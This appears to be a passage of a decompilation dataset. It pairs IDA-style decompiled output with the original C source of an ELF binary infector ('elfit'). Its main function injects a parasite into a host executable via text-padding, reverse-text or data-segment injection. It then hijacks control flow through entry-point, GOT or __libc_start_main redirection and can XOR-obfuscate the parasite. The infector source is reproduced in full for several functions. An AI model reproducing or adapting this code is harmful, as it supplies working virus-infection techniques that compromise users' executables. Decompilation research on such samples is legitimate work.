__int64 v11; // [rsp+0h] [rbp-70h] BYREF
char v12[32]; // [rsp+8h] [rbp-68h] BYREF
char v13[16]; // [rsp+28h] [rbp-48h] BYREF
__int64 v14; // [rsp+38h] [rbp-38h]
__int64 v15; // [rsp+58h] [rbp-18h]
__int64 v16; // [rsp+60h] [rbp-10h]

if ( !a1 )
return 0xFFFFFFFFLL;
v16 = v2;
v15 = v1;
v3 = *(unsigned int *)(a1 + 216);
load_host(a1, v12);
load_host(a1 + 100, v13);
v4 = *(_QWORD *)(a1 + 208);
v11 = v4;
if ( !v4 )
{
switch ( *(_DWORD *)(a1 + 220) )
{
case 1:
puts("[+ ENTRYPOINT REDIR]");
v9 = entry_redirect_64(v12, &v11);
v4 = v11;
v1 = v9;
break;
case 2:
puts("[+ GOT REDIR]");
v10 = got_redirect_64(v12, a1 + 224, &v11);
v4 = v11;
v1 = v10;
break;
case 3:
puts("[+ CTORS REDIR]");
puts("unimplemented redirection method chosen");
exit(1);
case 4:
puts("[+ DTORS REDIR]");
puts("unimplemented redirection method chosen");
exit(1);
case 5:
puts("[+ ARBFUNC REDIR]");
puts("unimplemented redirection method chosen");
exit(1);
case 6:
puts("[+ LIBC_START_MAIN REDIR]");
v8 = libc_start_main_hijack_64(v12, *(unsigned int *)(a1 + 324), &v11);
v4 = v11;
v1 = v8;
break;
default:
v1 = -1LL;
puts("[-] no redirection method chosen");
puts("continuing infection process");
v4 = v11;
break;
}
}
printf("[+ PATCHING PARASITE]\t\tto jump to %08x\n", v4);
if ( !(unsigned int)patch_parasite64(v13, v3, v11) )
{
v5 = (unsigned int)*(char *)(a1 + 200);
if ( !*(_BYTE *)(a1 + 200) )
goto LABEL_7;
goto LABEL_8;
}
puts("out-of-bounds patch position supplied");
v5 = (unsigned int)*(char *)(a1 + 200);
if ( *(_BYTE *)(a1 + 200) )
{
LABEL_8:
printf("[+ POLYMORPHIZING PARASITE]\twith xor key 0x%0x\n", v5);
parasite_polymorphize64(v13, (unsigned int)*(char *)(a1 + 200));
}
LABEL_7:
switch ( *(_DWORD *)(a1 + 328) )
{
case 1:
puts("[+ INJECTING PARASITE TO TEXT]");
v2 = textpadding_inject_64(v12, v13, v3, *(_QWORD *)(a1 + 208));
reload_host(a1, v12);
if ( *(_BYTE *)(a1 + 200) )
{
puts("[+ TEXT_SEGMENT MOD]\t\tmaking text segment writable for polymorphism");
make_text_writeable64(v12);
}
break;
case 2:
puts("[+ INJECTING PARASITE TO TEXT BOTTOM]");
v2 = (int)reverse_inject_64(v12, v13);
printf("[+ INJECTED AT %08x]\n", v2);
reload_host(a1, v12);
if ( *(_BYTE *)(a1 + 200) )
make_text_writeable64(v12);
break;
case 3:
puts("[+ INJECTION PARASITE INTO DATA SEGMENT]");
v2 = (int)data_inject_64(v12, v13);
reload_host(a1, v12);
make_data_executable64(v12);
break;
case 4:
puts("[+ CREATING DEPENDENCY TO MALICIOUS LIBRARY]");
puts("chosen injection method not yet implemented");
exit(1);
case 5:
puts("[+ INJECTING RELOCATABLE]");
puts("chosen injection method not yet implemented");
exit(1);
case 6:
puts("[+ INJECTING NOTE]");
v2 = (int)note_inject_64(v12, v13);
reload_host(a1, v12);
if ( *(_BYTE *)(a1 + 200) )
{
puts("Polymorphic parasite not impolemented for note injection");
exit(1);
}
return result;
default:
puts("[-] no injection technique chosen");
break;
}
printf("[+] Parasite at 0x%lx-0x%lx\n", v2, v2 + *(_QWORD *)(v14 + 48));
reload_host(a1, v12);
v7 = *(_DWORD *)(a1 + 220);
if ( v7 == 2 )
{
v1 = got_redirect_64(v12, a1 + 224, &v11);
if ( *(_DWORD *)(a1 + 220) != 6 )
goto LABEL_15;
LABEL_27:
v1 = libc_start_main_hijack_64(v12, *(unsigned int *)(a1 + 324), &v11);
goto LABEL_15;
}
if ( v7 == 6 )
goto LABEL_27;
LABEL_15:
if ( v1 != -1 )
{
puts("[+ APPLYING REDIRECTION]");
commit_redirect_64(v12, v1, v2);
}
unload_host(v12);
return 1LL;
}

canonical_decompiled_code:
__int64 __fastcall func1(__int64 a1)
{
__int64 v1; // rbp
__int64 v2; // r12
__int64 v3; // r13
__int64 v4; // rsi
__int64 v5; // rsi
__int64 result; // rax
int v7; // eax
__int64 v8; // rax
__int64 v9; // rax
__int64 v10; // rax
__int64 v11; // [rsp+0h] [rbp-70h] BYREF
char v12[32]; // [rsp+8h] [rbp-68h] BYREF
char v13[16]; // [rsp+28h] [rbp-48h] BYREF
__int64 v14; // [rsp+38h] [rbp-38h]
__int64 v15; // [rsp+58h] [rbp-18h]
__int64 v16; // [rsp+60h] [rbp-10h]

if ( !a1 )
return 0xFFFFFFFFLL;
v16 = v2;
v15 = v1;
v3 = *(unsigned int *)(a1 + 216);
load_host(a1, v12);
load_host(a1 + 100, v13);
v4 = *(_QWORD *)(a1 + 208);
v11 = v4;
if ( !v4 )
{
switch ( *(_DWORD *)(a1 + 220) )
{
case 1:
puts("[+ ENTRYPOINT REDIR]");
v9 = entry_redirect_64(v12, &v11);
v4 = v11;
v1 = v9;
break;
case 2:
puts("[+ GOT REDIR]");
v10 = got_redirect_64(v12, a1 + 224, &v11);
v4 = v11;
v1 = v10;
break;
case 3:
puts("[+ CTORS REDIR]");
puts("unimplemented redirection method chosen");
exit(1);
case 4:
puts("[+ DTORS REDIR]");
puts("unimplemented redirection method chosen");
exit(1);
case 5:
puts("[+ ARBFUNC REDIR]");
puts("unimplemented redirection method chosen");
exit(1);
case 6:
puts("[+ LIBC_START_MAIN REDIR]");
v8 = libc_start_main_hijack_64(v12, *(unsigned int *)(a1 + 324), &v11);
v4 = v11;
v1 = v8;
break;
default:
v1 = -1LL;
puts("[-] no redirection method chosen");
puts("continuing infection process");
v4 = v11;
break;
}
}
printf("[+ PATCHING PARASITE]\t\tto jump to %08x\n", v4);
if ( !(unsigned int)patch_parasite64(v13, v3, v11) )
{
v5 = (unsigned int)*(char *)(a1 + 200);
if ( !*(_BYTE *)(a1 + 200) )
goto LABEL_7;
goto LABEL_8;
}
puts("out-of-bounds patch position supplied");
v5 = (unsigned int)*(char *)(a1 + 200);
if ( *(_BYTE *)(a1 + 200) )
{
LABEL_8:
printf("[+ POLYMORPHIZING PARASITE]\twith xor key 0x%0x\n", v5);
parasite_polymorphize64(v13, (unsigned int)*(char *)(a1 + 200));
}
LABEL_7:
switch ( *(_DWORD *)(a1 + 328) )
{
case 1:
puts("[+ INJECTING PARASITE TO TEXT]");
v2 = textpadding_inject_64(v12, v13, v3, *(_QWORD *)(a1 + 208));
reload_host(a1, v12);
if ( *(_BYTE *)(a1 + 200) )
{
puts("[+ TEXT_SEGMENT MOD]\t\tmaking text segment writable for polymorphism");
make_text_writeable64(v12);
}
break;
case 2:
puts("[+ INJECTING PARASITE TO TEXT BOTTOM]");
v2 = (int)reverse_inject_64(v12, v13);
printf("[+ INJECTED AT %08x]\n", v2);
reload_host(a1, v12);
if ( *(_BYTE *)(a1 + 200) )
make_text_writeable64(v12);
break;
case 3:
puts("[+ INJECTION PARASITE INTO DATA SEGMENT]");
v2 = (int)data_inject_64(v12, v13);
reload_host(a1, v12);
make_data_executable64(v12);
break;
case 4:
puts("[+ CREATING DEPENDENCY TO MALICIOUS LIBRARY]");
puts("chosen injection method not yet implemented");
exit(1);
case 5:
puts("[+ INJECTING RELOCATABLE]");
puts("chosen injection method not yet implemented");
exit(1);
case 6:
puts("[+ INJECTING NOTE]");
v2 = (int)note_inject_64(v12, v13);
reload_host(a1, v12);
if ( *(_BYTE *)(a1 + 200) )
{
puts("Polymorphic parasite not impolemented for note injection");
exit(1);
}
return result;
default:
puts("[-] no injection technique chosen");
break;
}
printf("[+] Parasite at 0x%lx-0x%lx\n", v2, v2 + *(_QWORD *)(v14 + 48));
reload_host(a1, v12);
v7 = *(_DWORD *)(a1 + 220);
if ( v7 == 2 )
{
v1 = got_redirect_64(v12, a1 + 224, &v11);
if ( *(_DWORD *)(a1 + 220) != 6 )
goto LABEL_15;
LABEL_27:
v1 = libc_start_main_hijack_64(v12, *(unsigned int *)(a1 + 324), &v11);
goto LABEL_15;
}
if ( v7 == 6 )
goto LABEL_27;
LABEL_15:
if ( v1 != -1 )
{
puts("[+ APPLYING REDIRECTION]");
commit_redirect_64(v12, v1, v2);
}
unload_host(v12);
return 1LL;
}

original_code:
int elfit64(opts_t *opts)
{
    Elfit_t host;
    Elfit_t parasite;
    uint64_t malpoint;
    uint64_t patch_pos;
    uint64_t patch_addr;
    off_t patch_off;
    if (!opts->host)
    {
        return -1;
    }
    patch_pos = opts->patch_pos;
    load_host(opts->host, &host);
    if (opts->parasite)
        load_host(opts->parasite, &parasite);
    patch_addr = opts->patch_addr;
    if (!patch_addr)
    {
        switch(opts->redirection_method)
        {
            case 1:
                printf("[+ ENTRYPOINT REDIR]\n");
                patch_off = entry_redirect_64(&host, &patch_addr);
                break;
            case 2:
                printf("[+ GOT REDIR]\n");
                patch_off = got_redirect_64(&host, opts->pltsymbol, &patch_addr);
                break;
            case 3:
                printf("[+ CTORS REDIR]\n");
                printf("unimplemented redirection method chosen\n");
                exit(1);
            case 4:
                printf("[+ DTORS REDIR]\n");
                printf("unimplemented redirection method chosen\n");
                exit(1);
            case 5:
                printf("[+ ARBFUNC REDIR]\n");
                printf("unimplemented redirection method chosen\n");
                exit(1);
            case 6:
                printf("[+ LIBC_START_MAIN REDIR]\n");
                patch_off = libc_start_main_hijack_64(&host, opts->startmain_mode, &patch_addr);
                break;
            default:
                printf("[-] no redirection method chosen\n");
                printf("continuing infection process\n");
                patch_off = -1;
         }
    }
    printf("[+ PATCHING PARASITE]\t\tto jump to %08x\n", patch_addr);
    if (opts->parasite)
        if (patch_parasite64(&parasite, patch_pos, patch_addr))
        {
            printf("out-of-bounds patch position supplied\n");
        }
    if (opts->polymorphic_key)
    {
        printf("[+ POLYMORPHIZING PARASITE]\twith xor key 0x%0x\n", opts->polymorphic_key);
        parasite_polymorphize64(&parasite, opts->polymorphic_key);
    }
    switch(opts->injection_method)
    {
        case 1:
            printf("[+ INJECTING PARASITE TO TEXT]\n");
            malpoint = textpadding_inject_64(&host, &parasite,
                patch_pos, opts->patch_addr);
            reload_host(opts->host, &host);
            if(opts->polymorphic_key)
            {
                printf("[+ TEXT_SEGMENT MOD]\t\tmaking text segment writable for polymorphism\n");
                make_text_writeable64(&host);
            }
            break;
        case 2:
            printf("[+ INJECTING PARASITE TO TEXT BOTTOM]\n");
            malpoint = reverse_inject_64(&host, &parasite);
            printf("[+ INJECTED AT %08x]\n", malpoint);
            reload_host(opts->host, &host);
            if(opts->polymorphic_key)
                make_text_writeable64(&host);
            break;
        case 3:
            printf("[+ INJECTION PARASITE INTO DATA SEGMENT]\n");
            malpoint = data_inject_64(&host, &parasite);
            reload_host(opts->host, &host);
            make_data_executable64(&host);
            break;
        case 4:
            printf("[+ CREATING DEPENDENCY TO MALICIOUS LIBRARY]\n");
            printf("chosen injection method not yet implemented\n");
            exit(1);
        case 5:
            printf("[+ INJECTING RELOCATABLE]\n");
            printf("chosen injection method not yet implemented\n");
            exit(1);
        case 6:
            printf("[+ INJECTING NOTE]\n");
            malpoint = note_inject_64(&host, &parasite);
            reload_host(opts->host, &host);
            if(opts->polymorphic_key)
            {
                printf("Polymorphic parasite not impolemented for note injection\n");
                exit(1);
            }
            break;
        default:
            printf("[-] no injection technique chosen\n");
    }
    printf("[+] Parasite at 0x%lx-0x%lx\n", malpoint, malpoint + parasite.file->st_size);
    reload_host(opts->host, &host);
    if (opts->redirection_method == 2)
        patch_off = got_redirect_64(&host, opts->pltsymbol, &patch_addr);
    if (opts->redirection_method == 6)
        patch_off = libc_start_main_hijack_64(&host, opts->startmain_mode, &patch_addr);
    if (patch_off != -1) {
      printf("[+ APPLYING REDIRECTION]\n");
      commit_redirect_64(&host, patch_off, malpoint);
    }
    unload_host(&host);
    return 1;
}

canonical_original_code:
int elfit64(struct opts_t *opts)
{
    struct Elfit_t host;
    struct Elfit_t parasite;
    unsigned long malpoint;
    unsigned long patch_pos;
    unsigned long patch_addr;
    long patch_off;
    if (!opts->host)
    {
        return -1;
    }
    patch_pos = opts->patch_pos;
    load_host(opts->host, &host);
    if (opts->parasite)
        load_host(opts->parasite, &parasite);
    patch_addr = opts->patch_addr;
    if (!patch_addr)
    {
        switch(opts->redirection_method)
        {
            case 1:
                printf("[+ ENTRYPOINT REDIR]\n");
                patch_off = entry_redirect_64(&host, &patch_addr);
                break;
            case 2:
                printf("[+ GOT REDIR]\n");
                patch_off = got_redirect_64(&host, opts->pltsymbol, &patch_addr);
                break;
            case 3:
                printf("[+ CTORS REDIR]\n");
                printf("unimplemented redirection method chosen\n");
                exit(1);
            case 4:
                printf("[+ DTORS REDIR]\n");
                printf("unimplemented redirection method chosen\n");
                exit(1);
            case 5:
                printf("[+ ARBFUNC REDIR]\n");
                printf("unimplemented redirection method chosen\n");
                exit(1);
            case 6:
                printf("[+ LIBC_START_MAIN REDIR]\n");
                patch_off = libc_start_main_hijack_64(&host, opts->startmain_mode, &patch_addr);
                break;
            default:
                printf("[-] no redirection method chosen\n");
                printf("continuing infection process\n");
                patch_off = -1;
         }
    }
    printf("[+ PATCHING PARASITE]\t\tto jump to %08x\n", patch_addr);
    if (opts->parasite)
        if (patch_parasite64(&parasite, patch_pos, patch_addr))
        {
            printf("out-of-bounds patch position supplied\n");
        }
    if (opts->polymorphic_key)
    {
        printf("[+ POLYMORPHIZING PARASITE]\twith xor key 0x%0x\n", opts->polymorphic_key);
        parasite_polymorphize64(&parasite, opts->polymorphic_key);
    }
    switch(opts->injection_method)
    {
        case 1:
            printf("[+ INJECTING PARASITE TO TEXT]\n");
            malpoint = textpadding_inject_64(&host, &parasite,
                patch_pos, opts->patch_addr);
            reload_host(opts->host, &host);
            if(opts->polymorphic_key)
            {
                printf("[+ TEXT_SEGMENT MOD]\t\tmaking text segment writable for polymorphism\n");
                make_text_writeable64(&host);
            }
            break;
        case 2:
            printf("[+ INJECTING PARASITE TO TEXT BOTTOM]\n");
            malpoint = reverse_inject_64(&host, &parasite);
            printf("[+ INJECTED AT %08x]\n", malpoint);
            reload_host(opts->host, &host);
            if(opts->polymorphic_key)
                make_text_writeable64(&host);
            break;
        case 3:
            printf("[+ INJECTION PARASITE INTO DATA SEGMENT]\n");
            malpoint = data_inject_64(&host, &parasite);
            reload_host(opts->host, &host);
            make_data_executable64(&host);
            break;
        case 4:
            printf("[+ CREATING DEPENDENCY TO MALICIOUS LIBRARY]\n");
            printf("chosen injection method not yet implemented\n");
            exit(1);
        case 5:
            printf("[+ INJECTING RELOCATABLE]\n");
            printf("chosen injection method not yet implemented\n");
            exit(1);
        case 6:
            printf("[+ INJECTING NOTE]\n");
            malpoint = note_inject_64(&host, &parasite);
            reload_host(opts->host, &host);
            if(opts->polymorphic_key)
            {
                printf("Polymorphic parasite not impolemented for note injection\n");
                exit(1);
            }
            break;
        default:
            printf("[-] no injection technique chosen\n");
    }
    printf("[+] Parasite at 0x%lx-0x%lx\n", malpoint, malpoint + parasite.file->st_size);
    reload_host(opts->host, &host);
    if (opts->redirection_method == 2)
        patch_off = got_redirect_64(&host, opts->pltsymbol, &patch_addr);
    if (opts->redirection_method == 6)
        patch_off = libc_start_main_hijack_64(&host, opts->startmain_mode, &patch_addr);
    if (patch_off != -1) {
      printf("[+ APPLYING REDIRECTION]\n");
      commit_redirect_64(&host, patch_off, malpoint);
    }
    unload_host(&host);
    return 1;
}

variable_types:
malpoint
unsigned long

user_defined_types: struct opts_t { char host[100]; char parasite[100]; char polymorphic_key; unsigned long patch_addr; unsigned int patch_pos; unsigned int redirection_method; char pltsymbol[100]; unsigned int startmain_mode; unsigned int injection_method; unsigned int cross_infect; }

user_defined_types: struct timespec { long tv_sec; long tv_nsec; }


main

canonical_name: main

decompiled_code:
int __cdecl main(int argc, const char **argv, const char **envp)
{
const char *v3; // rax
__int64 v4; // rbp
unsigned int v5; // eax

v3 = (const char *)usage(argc, argv, envp);
if ( !v3 )
exit(-1);
v4 = (__int64)v3;
v5 = get_elf_class(v3);
if ( v5 == 1 )
return elfit32(v4);
if ( v5 == 2 )
return elfit64(v4);
printf("Unkown elf class: %d\n", v5);
return -1;
}

canonical_decompiled_code:
int __cdecl main(int argc, const char **argv, const char **envp)
{
const char *v3; // rax
__int64 v4; // rbp
unsigned int v5; // eax

v3 = (const char *)usage(argc, argv, envp);
if ( !v3 )
exit(-1);
v4 = (__int64)v3;
v5 = func2(v3);
if ( v5 == 1 )
return func0(v4);
if ( v5 == 2 )
return func1(v4);
printf("Unkown elf class: %d\n", v5);
return -1;
}

original_code:
int main(int argc, char *argv[])
{
    opts_t *opts;
    if ((opts = usage(argc, argv)) == ((void *)0))
    {
        exit(-1);
    }
    int elf_class = get_elf_class(opts->host);
    if (elf_class == 1)
    {
        return elfit32(opts);
    }
    else if (elf_class == 2)
    {
        return elfit64(opts);
    }
    else
    {
        printf("Unkown elf class: %d\n", elf_class);
        return -1;
    }
}

canonical_original_code:
int main(int argc, char *argv[])
{
    struct opts_t *opts;
    if ((opts = usage(argc, argv)) == ((void *)0))
    {
        exit(-1);
    }
    int elf_class = get_elf_class(opts->host);
    if (elf_class == 1)
    {
        return elfit32(opts);
    }
    else if (elf_class == 2)
    {
        return elfit64(opts);
    }
    else
    {
        printf("Unkown elf class: %d\n", elf_class);
        return -1;
    }
}

variable_types: argc int

variable_types:
argv
char *[]


decompiled_code:
__int64 __fastcall load_host(const char *a1, const char **a2)
{
int v2; // eax
int v3; // ebp
__off_t v4; // r14
const char *v5; // rax
char *v6; // r13
const char *v7; // rax
ssize_t v8; // rax
__int64 result; // rax
__m128i *v10; // rax
struct stat buf; // [rsp+10h] [rbp-B8h] BYREF

v2 = open(a1, 0);
if ( v2 < 0 )
{
perror("load open host");
result = 0xFFFFFFFFLL;
}
else
{
v3 = v2;
if ( fstat(v2, &buf) )
{
perror("load fstat host");
result = 0xFFFFFFFFLL;
}
else
{
v4 = buf.st_size;
v5 = (const char *)malloc(buf.st_size);
a2[1] = v5;
v6 = (char *)v5;
if ( v5 )
{
v7 = (const char *)malloc(0x90uLL);
a2[2] = v7;
if ( v7 )
{
v8 = read(v3, v6, v4);
if ( v8 == buf.st_size )
{
v10 = (__m128i *)a2[2];
*v10 = _mm_loadu_si128((const __m128i *)&buf);
v10[1] = _mm_loadu_si128((const __m128i *)&buf.st_nlink);
v10[2] = _mm_loadu_si128((const __m128i *)&buf.st_gid);
v10[3] = _mm_loadu_si128((const __m128i *)&buf.st_size);
v10[4] = _mm_loadu_si128((const __m128i *)&buf.st_blocks);
v10[5] = _mm_loadu_si128((const __m128i *)&buf.st_atim.tv_nsec);
v10[6] = _mm_loadu_si128((const __m128i *)&buf.st_mtim.tv_nsec);
v10[7] = _mm_loadu_si128((const __m128i *)&buf.st_ctim.tv_nsec);
v10[8] = _mm_loadu_si128((const __m128i *)&buf.__unused[1]);
result = 1LL;
*a2 = a1;
}
else
{
perror("host read");
result = 0xFFFFFFFFLL;
}
}
else
{
perror("host file malloc");
result = 0xFFFFFFFFLL;
}
}
else
{
perror("host mem malloc");
result = 0xFFFFFFFFLL;
}
}
}
return result;
}

canonical_decompiled_code:
__int64 __fastcall func0(const char *a1, const char **a2)
{
int v2; // eax
int v3; // ebp
__off_t v4; // r14
const char *v5; // rax
char *v6; // r13
const char *v7; // rax
ssize_t v8; // rax
__int64 result; // rax
__m128i *v10; // rax
struct stat buf; // [rsp+10h] [rbp-B8h] BYREF

v2 = open(a1, 0);
if ( v2 < 0 )
{
perror("load open host");
result = 0xFFFFFFFFLL;
}
else
{
v3 = v2;
if ( fstat(v2, &buf) )
{
perror("load fstat host");
result = 0xFFFFFFFFLL;
}
else
{
v4 = buf.st_size;
v5 = (const char *)malloc(buf.st_size);
a2[1] = v5;
v6 = (char *)v5;
if ( v5 )
{
v7 = (const char *)malloc(0x90uLL);
a2[2] = v7;
if ( v7 )
{
v8 = read(v3, v6, v4);
if ( v8 == buf.st_size )
{
v10 = (__m128i *)a2[2];
*v10 = _mm_loadu_si128((const __m128i *)&buf);
v10[1] = _mm_loadu_si128((const __m128i *)&buf.st_nlink);
v10[2] = _mm_loadu_si128((const __m128i *)&buf.st_gid);
v10[3] = _mm_loadu_si128((const __m128i *)&buf.st_size);
v10[4] = _mm_loadu_si128((const __m128i *)&buf.st_blocks);
v10[5] = _mm_loadu_si128((const __m128i *)&buf.st_atim.tv_nsec);
v10[6] = _mm_loadu_si128((const __m128i *)&buf.st_mtim.tv_nsec);
v10[7] = _mm_loadu_si128((const __m128i *)&buf.st_ctim.tv_nsec);
v10[8] = _mm_loadu_si128((const __m128i *)&buf.__unused[1]);
result = 1LL;
*a2 = a1;
}
else
{
perror("host read");
result = 0xFFFFFFFFLL;
}
}
else
{
perror("host file malloc");
result = 0xFFFFFFFFLL;
}
}
else
{
perror("host mem malloc");
result = 0xFFFFFFFFLL;
}
}
}
return result;
}

original_code:
int load_host(char *name, Elfit_t *host)
{
    int hfd;
    struct stat hst;
    size_t statsz;
    if ((hfd = open(name, 00)) < 0)
    {
        perror("load open host");
        return -1;
    }
    if (fstat(hfd, &hst))
    {
        perror("load fstat host");
        return -1;
    }
    statsz = (size_t) sizeof(struct stat);
    if ((host->mem = malloc(hst.st_size)) == ((void *)0))
    {
        perror("host mem malloc");
        return -1;
    }
    if ((host->file = malloc(statsz)) == ((void *)0))
    {
        perror("host file malloc");
        return -1;
    }
    if (read(hfd, host->mem, hst.st_size) != hst.st_size)
    {
        perror("host read");
        return -1;
    }
    memcpy(host->file, &hst, statsz);
    host->name = name;
    return 1;
}

canonical_original_code:
int load_host(char *name, struct Elfit_t *host)
{
    int hfd;
    struct stat hst;
    unsigned long statsz;
    if ((hfd = open(name, 00)) < 0)
    {
        perror("load open host");
        return -1;
    }
    if (fstat(hfd, &hst))
    {
        perror("load fstat host");
        return -1;
    }
    statsz = (unsigned long) sizeof(struct stat);
    if ((host->mem = malloc(hst.st_size)) == ((void *)0))
    {
        perror("host mem malloc");
        return -1;
    }
    if ((host->file = malloc(statsz)) == ((void *)0))
    {
        perror("host file malloc");
        return -1;
    }
    if (read(hfd, host->mem, hst.st_size) != hst.st_size)
    {
        perror("host read");
        return -1;
    }
    memcpy(host->file, &hst, statsz);
    host->name = name;
    return 1;
}

variable_types:
name
char *

variable_types: struct Elfit_t { char *name; unsigned char *mem; struct stat { unsigned long st_dev; unsigned long st_ino; unsigned long st_nlink; unsigned int st_mode; unsigned int st_uid; unsigned int st_gid; int __pad0; unsigned long st_rdev; long st_size; long st_blksize; long st_blocks; struct timespec { long tv_sec; long tv_nsec; } st_atim; struct timespec st_mtim; struct timespec st_ctim; long __glibc_reserved[3]; } *file; } *

variable_types: hfd int

variable_types:
statsz
unsigned long


decompiled_code:
void __fastcall unload_host(__int64 a1)
{
free(*(void **)(a1 + 8));
free(*(void **)(a1 + 16));
}

original_code:
void unload_host(Elfit_t *host)
{
    free(host->mem);
    free(host->file);
}

canonical_original_code:
void unload_host(struct Elfit_t *host)
{
    free(host->mem);
    free(host->file);
}


decompiled_code:
__int64 __fastcall reload_host(const char *a1, const char **a2)
{
unload_host((__int64)a2);
if ( (unsigned int)load_host(a1, a2) != -1 )
return 1LL;
perror("reload load_host");
return 0xFFFFFFFFLL;
}

canonical_decompiled_code:
__int64 __fastcall func2(const char *a1, const char **a2)
{
func1((__int64)a2);
if ( (unsigned int)func0(a1, a2) != -1 )
return 1LL;
perror("reload load_host");
return 0xFFFFFFFFLL;
}

original_code:
int reload_host(char *name, Elfit_t *host)
{
    unload_host(host);
    if (load_host(name, host) == -1)
    {
        perror("reload load_host");
        return -1;
    }
    return 1;
}

canonical_original_code:
int reload_host(char *name, struct Elfit_t *host)
{
    unload_host(host);
    if (load_host(name, host) == -1)
    {
        perror("reload load_host");
        return -1;
    }
    return 1;
}


decompiled_code:
__int64 __fastcall get_section_by_name_32(char *s2, __int64 a2)
{
__int64 v2; // rbx
int v3; // er12
unsigned int *v4; // r14
__int64 v5; // r13
unsigned int v6; // er15

v2 = *(_QWORD *)(a2 + 8);
v3 = *(unsigned __int16 *)(v2 + 48);
v4 = (unsigned int *)(v2 + *(unsigned int *)(v2 + 32));
v5 = v4[10 * *(unsigned __int16 *)(v2 + 50) + 4];
if ( !*(_WORD *)(v2 + 48) )
return (unsigned int)-1;
v6 = 0;
while ( strcmp((const char *)(v2 + v5 + *v4), s2) )
{
++v6;
v4 += 10;
if ( v6 == v3 )
return (unsigned int)-1;
}
return v6;
}

canonical_decompiled_code:
__int64 __fastcall func3(char *s2, __int64 a2)
{
__int64 v2; // rbx
int v3; // er12
unsigned int *v4; // r14
__int64 v5; // r13
unsigned int v6; // er15

v2 = *(_QWORD *)(a2 + 8);
v3 = *(unsigned __int16 *)(v2 + 48);
v4 = (unsigned int *)(v2 + *(unsigned int *)(v2 + 32));
v5 = v4[10 * *(unsigned __int16 *)(v2 + 50) + 4];
if ( !*(_WORD *)(v2 + 48) )
return (unsigned int)-1;
v6 = 0;
while ( strcmp((const char *)(v2 + v5 + *v4), s2) )
{
++v6;
v4 += 10;
if ( v6 == v3 )
return (unsigned int)-1;
}
return v6;
}

original_code:
int get_section_by_name_32(char *name, Elfit_t *host)
{
    Elf32_Ehdr *ehdr;
    Elf32_Shdr *shdr;
    char *shstrtab;
    int shstrndx, i;
    ehdr = (Elf32_Ehdr *) host->mem;
    shdr = (Elf32_Shdr *) (host->mem + ehdr->e_shoff);
    shstrtab = host->mem + shdr[ehdr->e_shstrndx].sh_offset;
    for (i = 0; i < ehdr->e_shnum; i++)
    {
        if (strcmp(&shstrtab[shdr[i].sh_name], name) == 0)
            return i;
    }
    return -1;
}

canonical_original_code:
int get_section_by_name_32(char *name, struct Elfit_t *host)
{
    struct Elf32_Ehdr *ehdr;
    struct Elf32_Shdr *shdr;
    char *shstrtab;
    int shstrndx; int i;
    ehdr = (struct Elf32_Ehdr *) host->mem;
    shdr = (struct Elf32_Shdr *) (host->mem + ehdr->e_shoff);
    shstrtab = host->mem + shdr[ehdr->e_shstrndx].sh_offset;
    for (i = 0; i < ehdr->e_shnum; i++)
    {
        if (strcmp(&shstrtab[shdr[i].sh_name], name) == 0)
            return i;
    }
    return -1;
}

variable_types: struct Elf32_Ehdr { unsigned char e_ident[-1]; unsigned short e_type; unsigned short e_machine; unsigned int e_version; unsigned int e_entry; unsigned int e_phoff; unsigned int e_shoff; unsigned int e_flags; unsigned short e_ehsize; unsigned short e_phentsize; unsigned short e_phnum; unsigned short e_shentsize; unsigned short e_shnum; unsigned short e_shstrndx; } *

variable_types: struct Elf32_Shdr { unsigned int sh_name; unsigned int sh_type; unsigned int sh_flags; unsigned int sh_addr; unsigned int sh_offset; unsigned int sh_size; unsigned int sh_link; unsigned int sh_info; unsigned int sh_addralign; unsigned int sh_entsize; } *

variable_types:
shstrtab
char *

variable_types: shstrndx int

variable_types: i int


decompiled_code:
__int64 __fastcall get_section_by_name_64(char *s2, __int64 a2)
{
__int64 v2; // rbx
int v3; // er12
unsigned int *v4; // r14
__int64 v5; // r13
unsigned int v6; // er15

v2 = *(_QWORD *)(a2 + 8);
v3 = *(unsigned __int16 *)(v2 + 60);
v4 = (unsigned int *)(v2 + *(_QWORD *)(v2 + 40));
v5 = *(_QWORD *)&v4[16 * (unsigned __int64)*(unsigned __int16 *)(v2 + 62) + 6];
if ( !*(_WORD *)(v2 + 60) )
return (unsigned int)-1;
v6 = 0;
while ( strcmp((const char *)(v2 + v5 + *v4), s2) )
{
++v6;
v4 += 16;
if ( v6 == v3 )
return (unsigned int)-1;
}
return v6;
}

canonical_decompiled_code:
__int64 __fastcall func4(char *s2, __int64 a2)
{
__int64 v2; // rbx
int v3; // er12
unsigned int *v4; // r14
__int64 v5; // r13
unsigned int v6; // er15

v2 = *(_QWORD *)(a2 + 8);
v3 = *(unsigned __int16 *)(v2 + 60);
v4 = (unsigned int *)(v2 + *(_QWORD *)(v2 + 40));
v5 = *(_QWORD *)&v4[16 * (unsigned __int64)*(unsigned __int16 *)(v2 + 62) + 6];
if ( !*(_WORD *)(v2 + 60) )
return (unsigned int)-1;
v6 = 0;
while ( strcmp((const char *)(v2 + v5 + *v4), s2) )
{
++v6;
v4 += 16;
if ( v6 == v3 )
return (unsigned int)-1;
}
return v6;
}

original_code:
int get_section_by_name_64(char *name, Elfit_t *host)
{
    Elf64_Ehdr *ehdr;
    Elf64_Shdr *shdr;
    char *shstrtab;
    int shstrndx, i;
    ehdr = (Elf64_Ehdr *) host->mem;
    shdr = (Elf64_Shdr *) (host->mem + ehdr->e_shoff);
    shstrtab = host->mem + shdr[ehdr->e_shstrndx].sh_offset;
    for (i = 0; i < ehdr->e_shnum; i++)
    {
        if (strcmp(&shstrtab[shdr[i].sh_name], name) == 0)
            return i;
    }
    return -1;
}

canonical_original_code:
int get_section_by_name_64(char *name, struct Elfit_t *host)
{
    struct Elf64_Ehdr *ehdr;
    struct Elf64_Shdr *shdr;
    char *shstrtab;
    int shstrndx; int i;
    ehdr = (struct Elf64_Ehdr *) host->mem;
    shdr = (struct Elf64_Shdr *) (host->mem + ehdr->e_shoff);
    shstrtab = host->mem + shdr[ehdr->e_shstrndx].sh_offset;
    for (i = 0; i < ehdr->e_shnum; i++)
    {
        if (strcmp(&shstrtab[shdr[i].sh_name], name) == 0)
            return i;
    }
    return -1;
}

variable_types: struct Elf64_Ehdr { unsigned char e_ident[-1]; unsigned short e_type; unsigned short e_machine; unsigned int e_version; unsigned long e_entry; unsigned long e_phoff; unsigned long e_shoff; unsigned int e_flags; unsigned short e_ehsize; unsigned short e_phentsize; unsigned short e_phnum; unsigned short e_shentsize; unsigned short e_shnum; unsigned short e_shstrndx; } *

